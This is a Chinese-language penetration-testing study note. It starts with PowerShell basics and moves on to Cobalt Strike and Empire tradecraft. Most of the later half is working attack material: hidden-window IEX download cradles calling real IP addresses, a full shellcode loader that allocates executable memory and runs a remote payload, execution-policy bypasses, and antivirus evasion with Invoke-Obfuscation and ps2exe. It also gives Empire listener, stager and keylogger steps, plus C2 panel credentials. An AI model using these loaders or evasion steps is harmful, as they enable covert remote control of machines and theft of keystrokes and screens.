一、Powershell 基础
1.Powershell 简介
1)Windows PowerShell介绍
- Windows PowerShell 是由 Microsoft 开发的==命令行 Shell 和脚本语言==,它基于 .NET 框架,专为系 统管理和配置任务设计。
- PowerShell 结合了传统的命令提示符(CMD)功能,并引入了新的 cmdlet 来增强系统管理能力。
- 它被广泛应用于自动化任务,包括但不限于系统管理、配置管理和安全审计。
- Windows PowerShell 中的命令称为 cmdlet,发音为“ command-lets”,其中每个 cmdlet 代表特定的功能或基于任务的脚本。
- Powershell 默认安装在 Windows 7 及以后的系统上。
- 命令格式:动词-名词 如:get-help
- 命令参数可写一部分,只要这部分是唯一标识该参数即可,如-File 可写成-f、-fi
2)启动 Windows PowerShell
- 当前用户运行 Powershell: Win + s 打开搜索栏,搜索 PowerShell,左键点击 PowerShell 窗口将打开。
- 管理员运行 PowerShell: Win + s 打开搜索栏,搜索 PowerShell,右键点击并选择 以管理员身份运行。
- 自己设置以管理员运行配置文件,在终端中打开
3)PowerShell 与 Cmd 的区别
| 特性 | PowerShell | Cmd命令提示符 |
|---|---|---|
| 基础架 构 | 基于.NET Framework的命令行界面和脚本语言 | Windows操作系统的默认命令行解释器 |
| 命令解 释 | 支持批处理和 PowerShell 命令 | 仅支持批处理命令 |
| 用途 | 自动化Windows服务器和操作系统的管理任务 | 控制台命令执行,问题调试 |
| 输出类 型 | 对象集合 | 字符流 (文本) |
| 环境 | Shell程序和脚本环境,支持复杂脚本 | Shell系统,执行简单脚本 |
4)Windows PowerShell ISE
- PowerShell 的图形界面编辑器,提供了脚本编写、测试和调试的集成环境。
- ISE 支持高级编辑功能,如语法高亮、代码补全、多文档编辑和调试工具。
ISE 的三个主要窗格包括:
- 脚本窗格:用于创建和执行 PowerShell 脚本。
- 输出窗格:显示脚本执行结果和命令输出,支持内容清除和复制。
- 命令窗格:允许用户输入和执行单行或多行命令。
2.创建并运行脚本
1)创建脚本
- 文本编辑器创建脚本
打开任意文本编辑器,写入测试脚本内容:
echo "Hello world!!!"
保存文件名为 test.ps1
- ISE 集成环境创建脚本
打开 Windows PowerShell ISE,新建一个空文件,写入要执行的脚本内容,保存文件名为 test.ps1
菜单栏点击运行,或快捷键 F5 运行脚本
2)执行脚本
- 加载执行本地脚本
powershell -f test.ps1
- 加载执行远程脚本
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/M676F14U')"
- Command:使用 -c 指定在 powershell 中执行的命令
- Invoke-Expression:IEX 用来把字符串当作命令执行
- WebClient 类 (System.Net):用于与Web服务器交互,具备下载数据、上传数据及发送HTTP请求等功能
- WebClient.DownloadString 方法:以 String 形式下载请求的资源。可以以包含 URI 的 String 或 URI 的形式指定要下载的资源。
powershell -c "Invoke-RestMethod -Uri 'https://pastebin.com/raw/M676F14U' | iex"
powershell -c "iex (Invoke-RestMethod -Uri 'https://pastebin.com/raw/M676F14U')"
Invoke-RestMethod :将 HTTP 或 HTTPS 请求发送到 RESTful Web 服务。
3.脚本执行策略
执行策略是 PowerShell 安全特性的一部分,用于确定在系统上允许执行哪些脚本。
在计算机系统中启动 PowerShell 时,默认执行策略不允许我们执行或运行脚本。
- 查看当前执行策略
Get-ExecutionPolicy
- 获取影响当前会话的所有执行策略,并按优先顺序显示它们
Get-ExecutionPolicy -List
- 将执行策略设置为 Bypass
Set-ExecutionPolicy Bypass
- PowerShell 中可以设置以下类型的执行策略
| 策略名称 | 安全说明 | 适用场景 |
|---|---|---|
| AllSigned | 此策略要求所有脚本和配置文件都必须由受信 任的发布者进行数字签名。 | 高安全要求环境,确保所有脚本都经过验证。 |
| Bypass | 此策略允许执行未签名的脚本,不进行任何安全检查。 | 测试环境或已知安全的脚本执 行。 |
| Default | 此策略根据操作系统类型应用默认的安全级别。 | 常规使用,符合操作系统的安全默认设置。 |
| RemoteSigned | 此策略要求通过网络下载的脚本必须有有效的数字签名。 | 防止未经验证的远程脚本执行。 |
| Restricted | 此策略禁止执行所有脚本,包括本地和远程脚本。 | 严格控制脚本执行,降低恶意软件风险。 |
| Undefined | 此策略表示未明确设置执行策略,将继承父级策略或使用默认策略。 | 通常不推荐,除非在明确了解继承策略的情下。 |
| Unrestricted | 此策略允许执行所有未签名的脚本,包括本地和远程脚本。 | 仅在完全受控和安全的环境中使角。 |
- 设置 CurrentUser 作用域执行策略为 Restricted
Set-ExecutionPolicy Restricted -Scope CurrentUser
4.绕过执行策略
- 本地读取然后通过管道符运行
powershell get-content 1.ps1 | powershell -noprofile -

- 远程下载并通过 IEX 运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/1.ps1')"


- Bypass 执行策略绕过
powershell -executionpolicy bypass -File ./1.ps1


- Unrestricted 执行策略
powershell -executionpolicy unrestricted -File ./1.ps1

5.PowerShell 注释
单行注释
# 单行注释.............
# 单行
# 单行
多行注释
<# 多行注释.........
多行注释.........
多行注释............#>
6.PowerShell Cmdlet
1)概述
Cmdlet(发音为 “command-lets”)是 PowerShell 的核心命令单元,它们是轻量级的 .NET 类实例,专门设计用于实现特定的功能。 Cmdlet 遵循 PowerShell 的“动词-名词”命名约定,例如Get-Process。
2)特点
- 可扩展性:Cmdlet 可以用任何 .NET 支持的语言编写,包括 PowerShell 本身。
- 管道友好:Cmdlet 设计用于与管道一起工作,允许用户将一个 Cmdlet 的输出直接传递给另一个 Cmdlet。
- 参数化:Cmdlet 拥有丰富的参数集,可以通过命令行或配置文件进行配置。
3)列出所有可用 Cmdlet
Get-Command -CommandType Cmdlet
7.常用 Cmdlet 命令
- 获取 PowerShell 版本信息
$PSVersionTable
Get-Host
- 查看当前环境变量
Get-ChildItem env:
gci env:
ls env:
dir env:
- 启动指定程序
Start-Process calc.exe
saps calc.exe
start calc.exe
- 获取指定进程信息
Get-Process explorer
gps explorer
ps explorer
- 获取文件信息
Get-Item 1.txt
gi 1.txt
- 复制文件
Copy-Item 1.txt 2.txt
cpi 1.txt 2.txt
cp 1.txt 2.txt
copy 1.txt 2.txt
- 移动文件
Move-Item 1.txt 2.txt
mi 1.txt 2.txt
mv 1.txt 2.txt
move 1.txt 2.txt
- 获取指定服务信息
Get-Service -Name EventLog
- 获取文件 Hash
Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt
- 获取文件内容
Get-Content 1.txt
gc 1.txt
cat 1.txt
type 1.txt
- 设置文本内容
Set-Content 1.txt -Value "hello, word"
sc 1.txt -Value "hello, word"
- 删除文件的内容,但不删除该文件
Clear-Content 1.txt
- 获取当前目录
Get-Location
gl
pwd
- 查看别名
Get-Alias -name dir
8.基本语法
- 管道符 | :将一个命令的输出作为另一个命令的输入
- 分号 ; :用来连续执行多个系统命令
- 调用操作符 & :允许你执行命令,脚本或函数
- 单引号 ‘ : 用于表示字符串字面量
- 双引号 ” : 用于表示需要解析变量的字符串。
- 输出单引号: Write-Host “”””
- 输出双引号: Write-Host ””
- 重定向操作符:
> :将输出保存到指定文件中(用法:Get-Process > output.txt)
>> :将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2> :将错误输出到指定文件中(用法:Get-Porcess none 2> Errors.txt)
2>> :将错误追加到指定文件中(用法:Get-Process none 2>> Errors.txt)
- 比较和逻辑运算符
-eq : 等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt : 大于运算符(用法:$var1 –gt $var2,返回真或假)
-match : 匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace : 替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in : 测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用
- 变量:以 $ 开头,用于存储数据
$w = "hello world" # 变量赋值
$w # 访问变量
- 数组:使用逗号分隔的值列表,或使用 @() 创建
$a = 'value1','value2','value3' # 创建数组
$a[0] # 访问数组第一个元素
$a = @() # 创建空数组
$a = 1,'two',(get-date) # 把数据放入数组
- 条件语句:使用 if 进行条件判断
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
- 循环语句:使用 while、do、for 实现循环\
while() {}
Do {} While()
For(;;;) {}
二、Cmd 启动 Powershell
1.常规方法
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -nop -"
NoProfile:使用 -NoP 避免加载用户配置文件,减少配置错误或安全风险。
2.管道输入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -nop -"
3.使用环境变量
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ((Get-ChildItem env:cmd).Value)"
4.从粘贴板执行
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | clip && powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
5.bat 脚本执行
@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause
- @echo off:关闭命令回显,使得批处理执行时不会显示这些命令本身
- pause:暂停批处理脚本的执行,显示 “Press any key to continue . . .”,这允许用户在退出批处理 脚本之前查看输出结果
三、Powershell 加载器
在 cobaltstrike 中,我们经常会使用 powershell 远程加载上线,下面来大概分析下其基本原理。
1.CS 生成 Powershell 代码
Attack > Scripted Web Delivery


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.79.150.243:8000/a'))"

- Command:使用 -c 指定在 powershell 中执行的命令
- Invoke-Expression:IEX 用来把字符串当作命令执行
- NoProfile:使用 -NoP 避免加载用户配置文件,减少配置错误或安全风险。
- WindowStyle Hidden:使用 -w Hidden 隐藏执行窗口,适用于无界面的自动化任务。
- NonInteractive:使用 -NonI 以非交互模式运行脚本,避免用户交互。
- NoExit:使用 -Noe 执行脚本后不退出 PowerShell 会话。
- EncodedCommand:使用 -enc 传递 Base64 编码的命令,避免解析问题。
- WebClient 类 (System.Net):提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据 的常用方法。
- WebClient.DownloadString 方法:以 String 形式下载请求的资源。可以以包含 URI 的 String 或 URI 的形式指定要下载的资源。
2.获取远程加载代码
1)访问 url 链接即可获得如下代码
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密字符串..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
2)代码解释
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密字符串..."))
- 这行代码创建了一个新的 MemoryStream 对象 $s。
- 第一个参数留空,表示使用默认的构造函数。
- 第二个参数使用 Convert::FromBase64String 方法将 Base64 编码的字符串解码为字节数组。这里的 Base64 字符串代表了一个压缩过的 Gzip 数据流。
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- New-Object IO.StreamReader 创建了一个新的 StreamReader 对象,它用于读取文本数据。
New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress)创建了一个新的 GzipStream 对象,它将 MemoryStream $s 中的数据进行解压缩。- StreamReader 对象使用 GzipStream 作为其底层流,以读取解压缩的数据。
- ReadToEnd() 方法从流中读取所有文本,直到末尾。
- IEX 是 Invoke-Expression 的别名,它执行作为字符串输入的 PowerShell 代码或命令。
MemoryStream 类:位于System.IO命名空间,为系统内存提供流式的读写操作。常作为其他流数据交换时的中间对象操作。
StreamReader类:位于System.IO命名空间,实现一个可读取有序字符系列的读取器,使其以一种特定的编码从字节流中读取字符。
GZipStream类:位于System.IO.Compression命名空间,使用 GZip 数据格式规范提供用于压缩和解压缩流的方法和属性。
GZipStream(Stream, CompressionMode):用指定的流和压缩模式初始化 GZipStream 类的新实例。
[IO.Compression.CompressionMode]::Decompress:指定为解压缩模式
StreamReader.ReadToEnd() 方法:读取来自流的当前位置到结尾的所有字符
总结:
- 将 Base64 编码的 Gzip 压缩数据解码并解压缩。
- 读取解压缩后的数据作为文本。
- 使用 Invoke-Expression 执行该文本作为 PowerShell 脚本或命令。
3.获取加密字符串源码
- 把 IEX 更改为 echo,保存为 b.ps1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("......"));echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- 执行 b.ps1 脚本,把输出重定向到 b.txt 文件
powershell -ep bypass -f b.ps1 > b.txt
- 获得加密字符串的源码
# 启用严格模式,以避免在脚本中使用未初始化的变量。
Set-StrictMode -Version 2
# 定义了一个名为 func_get_proc_address 的函数,用于获取 DLL 中导出函数的地址
function func_get_proc_address {
# 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
Param ($var_module, $var_procedure)
# 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
# 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
# 然后通过调用该对象的Invoke()方法,获取函数地址。
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
# 定义了一个名为 func_get_delegate_type 的函数,用于创建一个动态的委托类型
# 在 PowerShell 中创建委托,通常是为了与非托管代码(如 Win32 API 或其他 C/C++ 库)交互
# 这允许 PowerShell 脚本调用外部函数,就像它们是托管代码中的方法一样
# 这种技术在系统编程和脚本编写中非常有用,尤其是在需要直接访问操作系统服务或执行低级操作时。
function func_get_delegate_type {
# 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
# $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
# 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
# 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
# 通过比较 IntPtr 类型的大小是否为 8 字节,来判断系统是否为 64 位,因为接下来的代码是针对 64 位系统编写的
If ([IntPtr]::size -eq 8) {
# 将 Base64 编码的字符串解码为字节数组
[Byte[]]$var_code = [System.Convert]::FromBase64String('...base64 加密后的 payload...')
# 对解码后的字节数组进行 XOR 运算(密钥为35)
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
# 调用 Win32 API 获取函数指针
# 使用 func_get_proc_address 获取 kernel32.dll 中 VirtualAlloc 函数的地址
# 使用 GetDelegateForFunctionPointer 创建一个委托,该委托指向 VirtualAlloc 函数
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
# 调用 VirtualAlloc 分配一块可执行内存,并获取这块内存的指针
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
# 使用 Marshal::Copy 将解密后的 Shellcode 复制到之前分配的内存中。
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
# 使用 GetDelegateForFunctionPointer 创建一个委托,该委托指向内存中的 Shellcode
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
# 调用委托执行 Shellcode
$var_runme.Invoke([IntPtr]::Zero)
}
- 将下面代码保存为b.ps1,执行即可生成new.bin
$enc=[System.Convert]::FromBase64String('...base64 加密后的 payload(cs生成的源码中加密的字符串)...')
for ($x = 0; $x -lt $enc.Count; $x++) {
$enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
- 修改代码为读取new.bin文件内容到内存(此步不一定执行)
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')
4.Powershell 加载器
1)修改后的 powershell 加载 shellcode 的加载器,保存为c.ps1
Set-StrictMode -Version 2
function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
2)通过接收本地或远程的 payload 实现加载器与 shellcode 分离
powershell -ep bypass -f c.ps1 new.bin
powershell -ep bypass -f c.ps1 http://8.218.144.193:8000/new.bin
在cmd中执行即可上线cs
5.加载器免杀
1)修改 c.ps1 (powershell加载器)脚本如下内容,并保存
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"('http://8.218.144.193:8000/new.bin')

2)Invoke-Obfuscation
- 导入并加载模块
powershell -ep bypass
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
- 工具支持六种加密方式
| 加密方式 | 描述 |
|---|---|
| TOKEN | 将脚本转换为一个或多个PowerShell 解析器令牌的序列 |
| AST | 将脚本转换为抽象语法树 |
| STRING | 混淆脚本中的字符串,使得脚本的意图变得模糊不清 |
| ENCONDING | 将脚本转换为 ASCll、Unicode 或 Base64 编码 |
| COMPRESS | 将脚本压缩,使得脚本的大小变小,从而使得脚本的传输和存储更加方便 |
| LAUNCHER | 生成一个启动器,该启动器可以在目标系统上执行混淆后的脚本 |
加密加载器:
- 输入要加密的脚本路径
set scriptpath D:\shentou\shell\c.ps1

2. 输入 encoding,列出所有编码方式,选择 5,采用 AES 的方式对脚本进行加密

3. 输入 string,列出所有混淆字符串的方式,输入 2,串联后重新排列整个命令

4. 输出混淆过后的脚本内容
out d.ps1

5. 执行命令,上线cs
powershell -ep bypass -f d.ps1


3)通过 ps2exe 把 powershell 脚本转成 exe
- 执行 ps2exe 脚本
powershell -ep bypass -c "& '.\ps2exe.ps1' -inputFile 'd.ps1' -outputFile 'd.exe'"

- 直接生成可免杀,但是有控制台窗口,生成 noConsole 的 exe 会被杀。
四、Powershell工具框架-Empire
1.Empire 简介
Empire 是一个开源 PowerShell 渗透测试框架,它专为复杂的攻击场景和后渗透阶段设计。
- 多平台支持:Empire 支持多种平台,使得它能够在不同的操作系统上执行任务和模块。
- 无依赖性:Empire 能够在没有 PowerShell.exe 的环境中独立运行,通过使用 PowerShell 代码的反 射式加载来实现。
- 模块化架构:它采用了模块化设计,便于添加新的攻击模块和功能。
- 密码学强化:所有通信都使用 AES 加密来保护数据的机密性和完整性。
- 隐蔽通信:Empire 设计了隐蔽的通信通道,以规避网络监控和检测。
2.Empire 安装
1)Kali(推荐)
Kali 自带 powershell-empire 可直接使用
powershell-empire
也可使用如下命令安装
sudo apt install powershell-empire
2)Docker(推荐)
使用脚本,自动化部署
3)Github(不推荐)
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
./ps-empire install -y
3.Empire 启动
1)启动服务端
- Kali 中执行如下命令,自动安装配置并启动 Empire Server
powershell-empire server
- 成功启动服务端
2)启动客户端
- Kali 中执行如下命令,默认连接 localhost 的 Empire 服务端
powershell-empire client

- 连接其他 Empire 实例
- 修改配置文件 /etc/powershell-empire/client/config.yaml 的 servers 配置
- 修改 another-one 的配置为远程主机上的 Empire 服务
记得重启
- 连接远程 Empire 服务
powershell-empire client
disconnect
connect -c another-one

注意:如果出现以下情况,需要删除数据库

DROP DATABASE empire;
DROP USER 'empire_user'@'localhost';

4.Empire 命令选项
Empire安装,基本介绍,命令使用,监听(一)_empire的使用-CSDN博客
5.Empire 基本使用
1)添加 Listeners
listeners
uselistener http

help

execute: 创建当前侦听器
generate: 创建当前侦听器
info: 打印当前记录的默认信息
options: 打印当前记录选项
set: set <key> <value>,为当前记录设置一个字段。如果设置文件,请提供-p 为文件选择对话框。
unset: unset <key>,取消设置记录的选项
- 设置监听器选项,并创建 Listener 监听器
(Empire: uselistener/http) > set Name test
(Empire: uselistener/http) > set Host http://192.168.81.229
(Empire: uselistener/http) > set Port 6001
(Empire: uselistener/http) > execute

注意:在vps上的docker开启的服务,监听端口为docker映射的端口,如下图的6000-6010

- 查看当前 Listener 监听器选项
- 查看 Listener 监听器:
- 修改监听器选项:
- 删除监听器:
2)生成 stager
stager 类型:
- multi:通用类
- osx:mac 平台下使用
- windows:windows 平台下使用
usestager windows_launcher_bat
set Listener test
execute

3)获得 agents
- 列出会话
agents

- 进入会话
interact ZUGDA1Y3

- info:显示 agent 信息
- display:显示 agent 属性
display <property_name>
- history:显示最近收到的任务结果数
history [<number_tasks>]
- jobs:查看活动作业的列表
- shell:指定 agent 执行 shell 命令的任务
- sc:
kali:
agent 运行模块 powershell_collection_screenshot 任务。默认参数包括:Ratio:80 屏幕截图保存在在 /var/lib/powershell-empire/server/downloads/ 目录的以当前agent ID为 目录名的文件夹中的 keystrokes.txt 文件中
docker:
进入容器中:
docker exec -it ps-empire bash
找到/empire/empire/server/downloads/ZUGDA1Y3/Get-Screenshot目录下的图片文件

在vps上执行命令,即可复制文件到当前目录
docker cp ps-empire:/empire/empire/server/downloads/ZUGDA1Y3/Get-Screenshot/LAPTOP-QRDE6GOS_2025-02-08_08-34-38.jpg .

- keylog:agent 运行模块 powershell_collection_keylogger 任务。默认参数包括:sleep:0 键盘记录记录在/var/lib/powershell-empire/server/downloads/ 目录的以当前 agent ID 为 目录名的文件夹中的 keystrokes.txt 文件中
五、Starkiller
登录
访问 http://120.79.150.243:4173/
url:http://120.79.150.243:1337
username:empireadmin
password:password123

登录成功








